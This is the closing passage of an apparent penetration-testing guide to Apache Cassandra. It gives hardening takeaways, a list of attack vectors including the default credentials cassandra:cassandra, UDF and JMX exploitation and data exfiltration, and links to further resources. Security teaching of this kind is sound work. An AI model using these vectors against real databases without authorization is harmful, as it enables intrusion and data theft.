system_schema.keyspaces      # Keyspaces
system_schema.tables         # Tables
```

### Conclusion

Apache Cassandra, while designed for scalability and high availability, introduces significant security risks when deployed with default configurations or insufficient hardening. The combination of often-disabled authentication, powerful query capabilities, and cluster-wide access makes misconfigured Cassandra instances high-value targets.

**Key Takeaways:**

1. **Enable authentication** - Never run without PasswordAuthenticator
2. **Change default credentials** - cassandra:cassandra is widely known
3. **Enable authorization** - Use CassandraAuthorizer for RBAC
4. **Network segmentation** - Restrict access via firewall
5. **Disable unnecessary features** - UDFs, Thrift, unsecured JMX
6. **Enable SSL/TLS** - Encrypt client and inter-node communication
7. **Monitor actively** - Enable audit logging and IDS
8. **Regular security audits** - Review users, permissions, logs
9. **Keep updated** - Apply security patches promptly
10. **Defense in depth** - Multiple security layers

**Attack Vectors:**

* No authentication (common default)
* Default credentials
* Weak passwords
* Information disclosure (cluster topology)
* Data exfiltration (sensitive tables)
* UDF exploitation (if enabled)
* JMX exploitation (if exposed)
* Privilege escalation
* CQL injection (application-level)

Remember to only perform these techniques during authorized security assessments. Unauthorized access is illegal and unethical.

### Additional Resources

* [Apache Cassandra Documentation](https://cassandra.apache.org/doc/latest/)
* [Cassandra Security Checklist](https://cassandra.apache.org/doc/latest/operating/security.html)
* [DataStax Security Guide](https://docs.datastax.com/en/cassandra-oss/3.x/cassandra/configuration/secureConfigTOC.html)
* [HackTricks Cassandra](https://book.hacktricks.wiki/en/network-services-pentesting/cassandra.html)

{% hint style="success" %}
Learn & practice [**For the Bug Bounty**](https://shop.verylazytech.com/)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚

</details>
{% endhint %}
